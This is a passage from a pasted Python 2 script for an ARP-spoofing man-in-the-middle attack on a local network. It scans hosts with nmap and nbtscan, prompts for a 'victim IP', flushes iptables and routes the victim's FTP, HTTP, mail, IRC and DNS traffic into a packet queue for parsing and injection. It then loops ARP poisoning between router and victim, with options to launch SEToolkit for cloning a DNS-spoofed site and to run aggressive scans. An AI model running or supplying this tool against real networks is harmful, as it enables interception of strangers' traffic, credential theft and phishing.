  746.       self.q = nfqueue.queue()
  747.       self.q.set_callback(Parser(args).start)
  748.       self.q.fast_open(0, socket.AF_INET)
  749.       self.q.set_queue_maxlen(5000)
  750.       reactor.addReader(self)
  751.       self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
  752.       print '[*] Flushed firewall and forwarded traffic to the queue; waiting for data'
  753.    def fileno(self):
  754.       return self.q.get_fd()
  755.    def doRead(self):
  756.       self.q.process_pending(500) # if I lower this to, say, 5, it hurts injection's reliability
  757.    def connectionLost(self, reason):
  758.       reactor.removeReader(self)
  759.    def logPrefix(self):
  760.       return 'queued'
  761.  
  762. class active_users():
  763.  
  764.    IPandMAC = []
  765.    start_time = time.time()
  766.    current_time = 0
  767.    monmode = ''
  768.  
  769.    def pkt_cb(self, pkt):
  770.       if pkt.haslayer(Dot11):
  771.          pkt = pkt[Dot11]
  772.          if pkt.type == 2:
  773.             addresses = [pkt.addr1.upper(), pkt.addr2.upper(), pkt.addr3.upper()]
  774.             for x in addresses:
  775.                for y in self.IPandMAC:
  776.                   if x in y[1]:
  777.                      y[2] = y[2]+1
  778.             self.current_time = time.time()
  779.          if self.current_time > self.start_time+1:
  780.             self.IPandMAC.sort(key=lambda x: float(x[2]), reverse=True) # sort by data packets
  781.             os.system('/usr/bin/clear')
  782.             print '[*] '+T+'IP address'+W+' and '+R+'data packets'+W+' sent/received'
  783.             print '---------------------------------------------'
  784.             for x in self.IPandMAC:
  785.                if len(x) == 3:
  786.                   ip = x[0].ljust(16)
  787.                   data = str(x[2]).ljust(5)
  788.                   print T+ip+W, R+data+W
  789.                else:
  790.                   ip = x[0].ljust(16)
  791.                   data = str(x[2]).ljust(5)
  792.                   print T+ip+W, R+data+W, x[3]
  793.             print '\n[*] Hit Ctrl-C at any time to stop and choose a victim IP'
  794.             self.start_time = time.time()
  795.  
  796.    def users(self, IPprefix, routerIP):
  797.  
  798.       print '[*] Running ARP scan to identify users on the network; this may take a minute - [nmap -sn -n %s]' % IPprefix
  799.       iplist = []
  800.       maclist = []
  801.       try:
  802.          nmap = Popen(['nmap', '-sn', '-n', IPprefix], stdout=PIPE, stderr=DN)
  803.          nmap = nmap.communicate()[0]
  804.          nmap = nmap.splitlines()[2:-1]
  805.       except Exception:
  806.          print '[-] Nmap ARP ping failed, is nmap installed?'
  807.       for x in nmap:
  808.          if 'Nmap' in x:
  809.             pieces = x.split()
  810.             nmapip = pieces[len(pieces)-1]
  811.             nmapip = nmapip.replace('(','').replace(')','')
  812.             iplist.append(nmapip)
  813.          if 'MAC' in x:
  814.             nmapmac = x.split()[2]
  815.             maclist.append(nmapmac)
  816.       zipped = zip(iplist, maclist)
  817.       self.IPandMAC = [list(item) for item in zipped]
  818.  
  819.       # Make sure router is caught in the arp ping
  820.       r = 0
  821.       for i in self.IPandMAC:
  822.          i.append(0)
  823.          if r == 0:
  824.             if routerIP == i[0]:
  825.                i.append('router')
  826.                routerMAC = i[1]
  827.                r = 1
  828.       if r == 0:
  829.          exit('[-] Router MAC not found. Exiting.')
  830.  
  831.       # Do nbtscan for windows netbios names
  832.       print '[*] Running nbtscan to get Windows netbios names - [nbtscan %s]' % IPprefix
  833.       try:
  834.          nbt = Popen(['nbtscan', IPprefix], stdout=PIPE, stderr=DN)
  835.          nbt = nbt.communicate()[0]
  836.          nbt = nbt.splitlines()
  837.          nbt = nbt[4:]
  838.       except Exception:
  839.          print '[-] nbtscan error, are you sure it is installed?'
  840.       for l in nbt:
  841.          try:
  842.             l = l.split()
  843.             nbtip = l[0]
  844.             nbtname = l[1]
  845.          except Exception:
  846.             print '[-] Could not find any netbios names. Continuing without them'
  847.          if nbtip and nbtname:
  848.             for a in self.IPandMAC:
  849.                if nbtip == a[0]:
  850.                   a.append(nbtname)
  851.  
  852.       # Start monitor mode
  853.       print '[*] Enabling monitor mode [airmon-ng ' + 'start ' + interface + ']'
  854.       try:
  855.          promiscSearch = Popen(['airmon-ng', 'start', '%s' % interface], stdout=PIPE, stderr=DN)
  856.          promisc = promiscSearch.communicate()[0]
  857.          monmodeSearch = re.search('monitor mode enabled on (.+)\)', promisc)
  858.          self.monmode = monmodeSearch.group(1)
  859.       except Exception:
  860.          exit('[-] Enabling monitor mode failed, do you have aircrack-ng installed?')
  861.  
  862.       sniff(iface=self.monmode, prn=self.pkt_cb, store=0)
  863.  
  864.  
  865. #Print all the variables
  866. def print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP):
  867.    print "[*] Active interface: " + interface
  868.    print "[*] DHCP server: " + DHCPsrvr
  869.    print "[*] DNS server: " + dnsIP
  870.    print "[*] Local domain: " + local_domain
  871.    print "[*] Router IP: " + routerIP
  872.    print "[*] Victim IP: " + victimIP
  873.    logger.write("[*] Router IP: " + routerIP+'\n')
  874.    logger.write("[*] victim IP: " + victimIP+'\n')
  875.  
  876. #Enable IP forwarding and flush possibly conflicting iptables rules
  877. def setup(victimMAC):
  878.    os.system('/sbin/iptables -F')
  879.    os.system('/sbin/iptables -X')
  880.    os.system('/sbin/iptables -t nat -F')
  881.    os.system('/sbin/iptables -t nat -X')
  882.    # Just throw packets that are from and to the victim into the reactor
  883.    os.system('/sbin/iptables -A FORWARD -p tcp -s %s -m multiport --dports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
  884.    os.system('/sbin/iptables -A FORWARD -p tcp -d %s -m multiport --dports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
  885.    os.system('/sbin/iptables -A FORWARD -p tcp -s %s -m multiport --sports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
  886.    os.system('/sbin/iptables -A FORWARD -p tcp -d %s -m multiport --sports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
  887.    # To catch DNS packets you gotta do prerouting rather than forward for some reason?
  888.    os.system('/sbin/iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
  889.    with open('/proc/sys/net/ipv4/ip_forward', 'r+') as ipf:
  890.       ipf.write('1\n')
  891.       print '[*] Enabled IP forwarding'
  892.       return ipf.read()
  893.  
  894. # Start threads
  895. def threads(args):
  896.  
  897.    rt = Thread(target=reactor.run, args=(False,)) #reactor must be started without signal handling since it's not in the main thread
  898.    rt.daemon = True
  899.    rt.start()
  900.  
  901.    if args.driftnet:
  902.       dr = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/driftnet -i '+interface+' >/dev/null 2>&1',))
  903.       dr.daemon = True
  904.       dr.start()
  905.  
  906.    if args.dnsspoof and not args.setoolkit:
  907.       setoolkit = raw_input('[*] You are DNS spoofing '+args.dnsspoof+', would you like to start the Social Engineer\'s Toolkit for easy exploitation? [y/n]: ')
  908.       if setoolkit == 'y':
  909.          print '[*] Starting SEtoolkit. To clone '+args.dnsspoof+' hit options 1, 2, 3, 2, then enter '+args.dnsspoof
  910.          try:
  911.             se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
  912.             se.daemon = True
  913.             se.start()
  914.          except Exception:
  915.             print '[-] Could not open SEToolkit, is it installed? Continuing as normal without it.'
  916.  
  917.    if args.nmapaggressive:
  918.       print '[*] Starting '+R+'aggressive scan [nmap -e '+interface+' -T4 -A -v -Pn -oN '+victimIP+']'+W+' in background; results will be in a file '+victimIP+'.nmap.txt'
  919.       try:
  920.          n = Thread(target=os.system, args=('nmap -e '+interface+' -T4 -A -v -Pn -oN '+victimIP+'.nmap.txt '+victimIP+' >/dev/null 2>&1',))
  921.          n.daemon = True
  922.          n.start()
  923.       except Exception:
  924.          print '[-] Aggressive Nmap scan failed, is nmap installed?'
  925.  
  926.    if args.setoolkit:
  927.       print '[*] Starting SEtoolkit'
  928.       try:
  929.          se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
  930.          se.daemon = True
  931.          se.start()
  932.       except Exception:
  933.          print '[-] Could not open SEToolkit, continuing without it.'
  934.  
  935. def pcap_handler(args):
  936.    global victimIP
  937.    bad_args = [args.dnsspoof, args.beef, args.code, args.nmap, args.nmapaggressive, args.driftnet, args.interface]
  938.    for x in bad_args:
  939.       if x:
  940.          exit('[-] When reading from pcap file you may only include the following arguments: -v, -u, -p, -pcap [pcap filename], and -ip [victim IP address]')
  941.    if args.pcap:
  942.       if args.ipaddress:
  943.          victimIP = args.ipaddress
  944.          pcap = rdpcap(args.pcap)
  945.          for payload in pcap:
  946.             Parser(args).start(payload)
  947.          exit('[-] Finished parsing pcap file')
  948.       else:
  949.          exit('[-] Please include the following arguement when reading from a pcap file: -ip [target\'s IP address]')
  950.    else:
  951.       exit('[-] When reading from pcap file you may only include the following arguments: -v, -u, -p, -pcap [pcap filename], and -ip [victim IP address]')
  952.  
  953. # Main loop
  954. def main(args):
  955.    global victimIP, interface
  956.  
  957.    if args.pcap:
  958.       pcap_handler(args)
  959.       exit('[-] Finished parsing pcap file')
  960.  
  961.    #Check if root
  962.    if not os.geteuid()==0:
  963.       exit("\nPlease run as root\n")
  964.  
  965.    #Find the gateway and interface
  966.    ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN)
  967.    ipr = ipr.communicate()[0]
  968.    iprs = ipr.split('\n')
  969.    ipr = ipr.split()
  970.    if args.routerip:
  971.       routerIP = args.routerip
  972.    else:
  973.       routerIP = ipr[2]
  974.    for r in iprs:
  975.       if '/' in r:
  976.          IPprefix = r.split()[0]
  977.    if args.interface:
  978.       interface = args.interface
  979.    else:
  980.       interface = ipr[4]
  981.    if 'eth' in interface or 'p3p' in interface:
  982.       exit('[-] Wired interface found as default route, please connect wirelessly and retry, or specify the active interface with the -i [interface] option. See active interfaces with [ip addr] or [ifconfig].')
  983.    if args.ipaddress:
  984.       victimIP = args.ipaddress
  985.    else:
  986.       au = active_users()
  987.       au.users(IPprefix, routerIP)
  988.       print '\n[*] Turning off monitor mode'
  989.       os.system('airmon-ng stop %s >/dev/null 2>&1' % au.monmode)
  990.       try:
  991.          victimIP = raw_input('[*] Enter the non-router IP to spoof: ')
  992.       except KeyboardInterrupt:
  993.          exit('\n[-] Quitting')
  994.  
  995.    print "[*] Checking the DHCP and DNS server addresses..."
  996.    # DHCP is a pain in the ass to craft
  997.    dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/
  998.          IP(src="0.0.0.0",dst="255.255.255.255")/
  999.          UDP(sport=68,dport=67)/
  1000.          BOOTP(chaddr='E3:2E:F4:DD:8R:9A')/
  1001.          DHCP(options=[("message-type","discover"),
  1002.             ("param_req_list",
  1003.             chr(DHCPRevOptions["router"][0]),
  1004.             chr(DHCPRevOptions["domain"][0]),
  1005.             chr(DHCPRevOptions["server_id"][0]),
  1006.             chr(DHCPRevOptions["name_server"][0]),
  1007.             ), "end"]))
  1008.    ans, unans = srp(dhcp, timeout=5, retry=1)
  1009.    if ans:
  1010.       for s,r in ans:
  1011.          DHCPopt = r[0][DHCP].options
  1012.          DHCPsrvr = r[0][IP].src
  1013.          for x in DHCPopt:
  1014.             if 'domain' in x:
  1015.                local_domain = x[1]
  1016.                pass
  1017.             else:
  1018.                local_domain = 'None'
  1019.             if 'name_server' in x:
  1020.                dnsIP = x[1]
  1021.    else:
  1022.       print "[-] No answer to DHCP packet sent to find the DNS server. Setting DNS and DHCP server to router IP."
  1023.       dnsIP = routerIP
  1024.       DHCPsrvr = routerIP
  1025.       local_domain = 'None'
  1026.  
  1027.    # Print the vars
  1028.    print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP)
  1029.    if args.routermac:
  1030.       routerMAC = args.routermac
  1031.       print "[*] Router MAC: " + routerMAC
  1032.       logger.write("[*] Router MAC: "+routerMAC+'\n')
  1033.    else:
  1034.       try:
  1035.          routerMAC = Spoof().originalMAC(routerIP)
  1036.          print "[*] Router MAC: " + routerMAC
  1037.          logger.write("[*] Router MAC: "+routerMAC+'\n')
  1038.       except Exception:
  1039.          print "[-] Router did not respond to ARP request; attempting to pull MAC from local ARP cache - [/usr/bin/arp -n]"
  1040.          logger.write("[-] Router did not respond to ARP request; attempting to pull the MAC from the ARP cache - [/usr/bin/arp -n]")
  1041.          try:
  1042.             arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN)
  1043.             split_lines = arpcache.communicate()[0].splitlines()
  1044.             for line in split_lines:
  1045.                if routerIP in line:
  1046.                   routerMACguess = line.split()[2]
  1047.                   if len(routerMACguess) == 17:
  1048.                      accr = raw_input("[+] Is "+R+routerMACguess+W+" the accurate router MAC? [y/n]: ")
  1049.                      if accr == 'y':
  1050.                         routerMAC = routerMACguess
  1051.                         print "[*] Router MAC: "+routerMAC
  1052.                         logger.write("[*] Router MAC: "+routerMAC+'\n')
  1053.                   else:
  1054.                      exit("[-] Failed to get accurate router MAC address")
  1055.          except Exception:
  1056.             exit("[-] Failed to get accurate router MAC address")
  1057.  
  1058.    if args.victimmac:
  1059.       victimMAC = args.victimmac
  1060.       print "[*] Victim MAC: " + victimMAC
  1061.       logger.write("[*] Victim MAC: "+victimMAC+'\n')
  1062.    else:
  1063.       try:
  1064.          victimMAC = Spoof().originalMAC(victimIP)
  1065.          print "[*] Victim MAC: " + victimMAC
  1066.          logger.write("[*] Victim MAC: "+victimMAC+'\n')
  1067.       except Exception:
  1068.          exit("[-] Could not get victim MAC address; try the -vmac [xx:xx:xx:xx:xx:xx] option if you know the victim's MAC address\n    and make sure the interface being used is accurate with -i <interface>")
  1069.  
  1070.    ipf = setup(victimMAC)
  1071.    Queued(args)
  1072.    threads(args)
  1073.  
  1074.    if args.nmap:
  1075.       print "\n[*] Running nmap scan; this may take several minutes - [nmap -T4 -O %s]" % victimIP
  1076.       try:
  1077.          nmap = Popen(['/usr/bin/nmap', '-T4', '-O', '-e', interface, victimIP], stdout=PIPE, stderr=DN)
  1078.          nmap.wait()
  1079.          nmap = nmap.communicate()[0].splitlines()
  1080.          for x in nmap:
  1081.             if x != '':
  1082.                print '[+]',x
  1083.                logger.write('[+] '+x+'\n')
  1084.       except Exception:
  1085.          print '[-] Nmap port and OS scan failed, is it installed?'
  1086.  
  1087.    print ''
  1088.  
  1089.    # Cleans up if Ctrl-C is caught
  1090.    def signal_handler(signal, frame):
  1091.       print 'learing iptables, sending healing packets, and turning off IP forwarding...'
  1092.       logger.close()
  1093.       with open('/proc/sys/net/ipv4/ip_forward', 'r+') as forward:
  1094.          forward.write(ipf)
  1095.       Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
  1096.       Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
  1097.       os.system('/sbin/iptables -F')
  1098.       os.system('/sbin/iptables -X')
  1099.       os.system('/sbin/iptables -t nat -F')
  1100.       os.system('/sbin/iptables -t nat -X')
  1101.       exit(0)
  1102.    signal.signal(signal.SIGINT, signal_handler)
  1103.  
  1104.    while 1:
  1105.       Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
  1106.       time.sleep(1.5)
  1107.  
  1108. if __name__ == "__main__":
  1109.    main(parse_args())
Add Comment
Please, Sign In to add comment